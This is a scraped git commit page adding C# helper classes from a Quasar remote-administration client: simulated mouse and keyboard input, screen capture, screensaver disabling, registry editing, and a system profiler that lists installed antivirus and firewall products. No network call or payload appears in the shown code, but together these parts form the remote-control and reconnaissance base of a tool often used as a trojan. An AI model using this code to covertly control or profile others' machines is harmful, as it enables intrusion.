initial commit
This commit is contained in:
i2p
@@ -0,0 +1,16 @@
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using System;
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namespace Quasar.Client.Helper
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{
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public static class DateTimeHelper
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{
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public static string GetLocalTimeZone()
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{
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var tz = TimeZoneInfo.Local;
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var tzOffset = tz.GetUtcOffset(DateTime.Now);
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var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : "";
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var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName;
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return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})";
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}
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}
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}
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@@ -0,0 +1,46 @@
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using System.IO;
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using System.Runtime.Serialization.Json;
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using System.Text;
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namespace Quasar.Client.Helper
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{
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/// <summary>
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/// Provides methods to serialize and deserialize JSON.
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/// </summary>
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public static class JsonHelper
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{
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/// <summary>
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/// Serializes an object to the respectable JSON string.
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/// </summary>
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public static string Serialize<T>(T o)
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{
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var s = new DataContractJsonSerializer(typeof(T));
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using (var ms = new MemoryStream())
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{
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s.WriteObject(ms, o);
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return Encoding.UTF8.GetString(ms.ToArray());
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}
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}
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/// <summary>
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/// Deserializes a JSON string to the specified object.
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/// </summary>
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public static T Deserialize<T>(string json)
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{
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var s = new DataContractJsonSerializer(typeof(T));
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using (var ms = new MemoryStream(Encoding.UTF8.GetBytes(json)))
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{
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return (T)s.ReadObject(ms);
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}
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}
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/// <summary>
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/// Deserializes a JSON stream to the specified object.
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/// </summary>
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public static T Deserialize<T>(Stream stream)
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{
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var s = new DataContractJsonSerializer(typeof(T));
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return (T)s.ReadObject(stream);
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}
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}
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}
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@@ -0,0 +1,197 @@
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using Quasar.Client.Utilities;
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using System;
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using System.Drawing;
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using System.Runtime.InteropServices;
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using System.Text;
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namespace Quasar.Client.Helper
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{
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public static class NativeMethodsHelper
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{
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private const int INPUT_MOUSE = 0;
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private const int INPUT_KEYBOARD = 1;
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private const uint MOUSEEVENTF_LEFTDOWN = 0x0002;
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private const uint MOUSEEVENTF_LEFTUP = 0x0004;
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private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008;
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private const uint MOUSEEVENTF_RIGHTUP = 0x0010;
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private const uint MOUSEEVENTF_WHEEL = 0x0800;
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private const uint KEYEVENTF_KEYDOWN = 0x0000;
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private const uint KEYEVENTF_KEYUP = 0x0002;
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public static uint GetLastInputInfoTickCount()
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{
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NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO();
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lastInputInfo.cbSize = (uint) Marshal.SizeOf(lastInputInfo);
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lastInputInfo.dwTime = 0;
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NativeMethods.GetLastInputInfo(ref lastInputInfo);
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return lastInputInfo.dwTime;
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}
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public static void DoMouseLeftClick(Point p, bool isMouseDown)
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{
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NativeMethods.INPUT[] inputs = {
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new NativeMethods.INPUT
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{
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type = INPUT_MOUSE,
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u = new NativeMethods.InputUnion
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{
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mi = new NativeMethods.MOUSEINPUT
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{
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dx = p.X,
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dy = p.Y,
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mouseData = 0,
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dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP,
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time = 0,
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dwExtraInfo = NativeMethods.GetMessageExtraInfo()
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}
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}
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}
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};
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NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
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}
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public static void DoMouseRightClick(Point p, bool isMouseDown)
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{
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NativeMethods.INPUT[] inputs = {
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new NativeMethods.INPUT
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{
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type = INPUT_MOUSE,
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u = new NativeMethods.InputUnion
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{
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mi = new NativeMethods.MOUSEINPUT
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{
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dx = p.X,
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dy = p.Y,
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mouseData = 0,
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dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP,
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time = 0,
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dwExtraInfo = NativeMethods.GetMessageExtraInfo()
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}
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}
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}
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};
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NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
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}
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public static void DoMouseMove(Point p)
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{
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NativeMethods.SetCursorPos(p.X, p.Y);
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}
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public static void DoMouseScroll(Point p, bool scrollDown)
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{
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NativeMethods.INPUT[] inputs = {
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new NativeMethods.INPUT
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{
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type = INPUT_MOUSE,
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u = new NativeMethods.InputUnion
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{
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mi = new NativeMethods.MOUSEINPUT
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{
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dx = p.X,
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dy = p.Y,
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mouseData = scrollDown ? -120 : 120,
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dwFlags = MOUSEEVENTF_WHEEL,
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time = 0,
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dwExtraInfo = NativeMethods.GetMessageExtraInfo()
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}
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}
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}
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};
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NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
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}
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public static void DoKeyPress(byte key, bool keyDown)
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{
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NativeMethods.INPUT[] inputs = {
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new NativeMethods.INPUT
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{
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type = INPUT_KEYBOARD,
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u = new NativeMethods.InputUnion
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{
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ki = new NativeMethods.KEYBDINPUT
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{
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wVk = key,
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wScan = 0,
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dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP,
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dwExtraInfo = NativeMethods.GetMessageExtraInfo()
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}
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}
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}
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};
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NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
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}
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private const int SPI_GETSCREENSAVERRUNNING = 114;
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public static bool IsScreensaverActive()
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{
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var running = IntPtr.Zero;
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if (!NativeMethods.SystemParametersInfo(
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SPI_GETSCREENSAVERRUNNING,
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0,
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ref running,
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0))
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{
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// Something went wrong (Marshal.GetLastWin32Error)
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}
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return running != IntPtr.Zero;
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}
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private const uint DESKTOP_WRITEOBJECTS = 0x0080;
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private const uint DESKTOP_READOBJECTS = 0x0001;
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private const int WM_CLOSE = 16;
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private const uint SPI_SETSCREENSAVEACTIVE = 0x0011;
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private const uint SPIF_SENDWININICHANGE = 0x0002;
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public static void DisableScreensaver()
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{
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var handle = NativeMethods.OpenDesktop("Screen-saver", 0,
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false, DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS);
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if (handle != IntPtr.Zero)
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{
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NativeMethods.EnumDesktopWindows(handle, (hWnd, lParam) =>
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{
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if (NativeMethods.IsWindowVisible(hWnd))
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NativeMethods.PostMessage(hWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
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// Continue enumeration even if it fails
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return true;
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},
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IntPtr.Zero);
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NativeMethods.CloseDesktop(handle);
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}
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else
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{
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NativeMethods.PostMessage(NativeMethods.GetForegroundWindow(), WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
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}
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// We need to restart the counter for next screensaver according to
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// https://support.microsoft.com/en-us/kb/140723
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// (this may not be needed since we simulate mouse click afterwards)
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var dummy = IntPtr.Zero;
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// Doesn't really matter if this fails
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NativeMethods.SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1 /* TRUE */, ref dummy, SPIF_SENDWININICHANGE);
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}
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public static string GetForegroundWindowTitle()
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{
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StringBuilder sbTitle = new StringBuilder(1024);
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NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity);
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return sbTitle.ToString();
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}
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}
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}
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@@ -0,0 +1,157 @@
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using System;
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using System.Collections.Generic;
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using System.Linq;
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using Microsoft.Win32;
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using Quasar.Common.Models;
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using Quasar.Common.Utilities;
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namespace Quasar.Client.Helper
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{
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public static class RegistryKeyHelper
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{
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private static string DEFAULT_VALUE = String.Empty;
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/// <summary>
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/// Adds a value to the registry key.
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/// </summary>
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/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
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/// <param name="path">The path to the registry key.</param>
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/// <param name="name">The name of the value.</param>
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/// <param name="value">The value.</param>
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/// <param name="addQuotes">If set to True, adds quotes to the value.</param>
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/// <returns>True on success, else False.</returns>
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public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false)
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{
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try
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{
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using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, true))
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{
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if (key == null) return false;
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if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\""))
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value = "\"" + value + "\"";
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key.SetValue(name, value);
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return true;
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}
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}
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catch (Exception)
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{
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return false;
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}
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}
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/// <summary>
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/// Opens a read-only registry key.
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/// </summary>
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/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
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/// <param name="path">The path to the registry key.</param>
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/// <returns></returns>
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public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path)
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{
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try
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{
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return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false);
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}
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catch
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{
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return null;
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}
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}
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/// <summary>
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/// Deletes the specified value from the registry key.
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/// </summary>
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/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
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/// <param name="path">The path to the registry key.</param>
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/// <param name="name">The name of the value to delete.</param>
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/// <returns>True on success, else False.</returns>
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public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name)
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{
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try
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{
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using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, true))
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{
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if (key == null) return false;
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key.DeleteValue(name, true);
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return true;
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}
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}
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catch (Exception)
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{
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return false;
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}
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}
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/// <summary>
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/// Checks if the provided value is the default value
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/// </summary>
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/// <param name="valueName">The name of the value</param>
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/// <returns>True if default value, else False</returns>
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public static bool IsDefaultValue(string valueName)
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{
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return String.IsNullOrEmpty(valueName);
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}
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/// <summary>
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/// Adds the default value to the list of values and returns them as an array.
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/// If default value already exists this function will only return the list as an array.
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/// </summary>
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/// <param name="values">The list with the values for which the default value should be added to</param>
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/// <returns>Array with all of the values including the default value</returns>
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public static RegValueData[] AddDefaultValue(List<RegValueData> values)
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{
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if(!values.Any(value => IsDefaultValue(value.Name)))
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{
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values.Add(GetDefaultValue());
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}
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return values.ToArray();
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}
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/// <summary>
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/// Gets the default registry values
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/// </summary>
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/// <returns>A array with the default registry values</returns>
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public static RegValueData[] GetDefaultValues()
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{
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return new[] {GetDefaultValue()};
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}
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public static RegValueData CreateRegValueData(string name, RegistryValueKind kind, object value = null)
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{
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var newRegValue = new RegValueData {Name = name, Kind = kind};
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if (value == null)
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newRegValue.Data = new byte[] { };
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else
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{
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switch (newRegValue.Kind)
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{
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case RegistryValueKind.Binary:
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newRegValue.Data = (byte[]) value;
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break;
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case RegistryValueKind.MultiString:
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newRegValue.Data = ByteConverter.GetBytes((string[]) value);
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break;
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case RegistryValueKind.DWord:
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newRegValue.Data = ByteConverter.GetBytes((uint) (int) value);
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break;
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case RegistryValueKind.QWord:
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newRegValue.Data = ByteConverter.GetBytes((ulong) (long) value);
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break;
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case RegistryValueKind.String:
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case RegistryValueKind.ExpandString:
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newRegValue.Data = ByteConverter.GetBytes((string) value);
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break;
|
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}
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}
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return newRegValue;
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}
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private static RegValueData GetDefaultValue()
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{
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return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String);
|
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}
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}
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}
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@@ -0,0 +1,38 @@
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using System;
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using System.Drawing;
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using System.Drawing.Imaging;
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using System.Windows.Forms;
|
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using Quasar.Client.Utilities;
|
||||
|
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namespace Quasar.Client.Helper
|
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{
|
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public static class ScreenHelper
|
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{
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private const int SRCCOPY = 0x00CC0020;
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|
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public static Bitmap CaptureScreen(int screenNumber)
|
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{
|
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Rectangle bounds = GetBounds(screenNumber);
|
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Bitmap screen = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppPArgb);
|
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|
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using (Graphics g = Graphics.FromImage(screen))
|
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{
|
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IntPtr destDeviceContext = g.GetHdc();
|
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IntPtr srcDeviceContext = NativeMethods.CreateDC("DISPLAY", null, null, IntPtr.Zero);
|
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|
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NativeMethods.BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext, bounds.X,
|
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bounds.Y, SRCCOPY);
|
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|
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NativeMethods.DeleteDC(srcDeviceContext);
|
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g.ReleaseHdc(destDeviceContext);
|
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}
|
||||
|
||||
return screen;
|
||||
}
|
||||
|
||||
public static Rectangle GetBounds(int screenNumber)
|
||||
{
|
||||
return Screen.AllScreens[screenNumber].Bounds;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
using Quasar.Common.Helpers;
|
||||
using System;
|
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using System.Management;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
{
|
||||
public static class SystemHelper
|
||||
{
|
||||
public static string GetUptime()
|
||||
{
|
||||
try
|
||||
{
|
||||
string uptime = string.Empty;
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem WHERE Primary='true'"))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
DateTime lastBootUpTime = ManagementDateTimeConverter.ToDateTime(mObject["LastBootUpTime"].ToString());
|
||||
TimeSpan uptimeSpan = TimeSpan.FromTicks((DateTime.Now - lastBootUpTime).Ticks);
|
||||
|
||||
uptime = string.Format("{0}d : {1}h : {2}m : {3}s", uptimeSpan.Days, uptimeSpan.Hours, uptimeSpan.Minutes, uptimeSpan.Seconds);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (string.IsNullOrEmpty(uptime))
|
||||
throw new Exception("Getting uptime failed");
|
||||
|
||||
return uptime;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return string.Format("{0}d : {1}h : {2}m : {3}s", 0, 0, 0, 0);
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetPcName()
|
||||
{
|
||||
return Environment.MachineName;
|
||||
}
|
||||
|
||||
public static string GetAntivirus()
|
||||
{
|
||||
try
|
||||
{
|
||||
string antivirusName = string.Empty;
|
||||
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
|
||||
string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter";
|
||||
string query = "SELECT * FROM AntivirusProduct";
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
antivirusName += mObject["displayName"].ToString() + "; ";
|
||||
}
|
||||
}
|
||||
antivirusName = StringHelper.RemoveLastChars(antivirusName);
|
||||
|
||||
return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetFirewall()
|
||||
{
|
||||
try
|
||||
{
|
||||
string firewallName = string.Empty;
|
||||
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
|
||||
string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter";
|
||||
string query = "SELECT * FROM FirewallProduct";
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
firewallName += mObject["displayName"].ToString() + "; ";
|
||||
}
|
||||
}
|
||||
firewallName = StringHelper.RemoveLastChars(firewallName);
|
||||
|
||||
return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user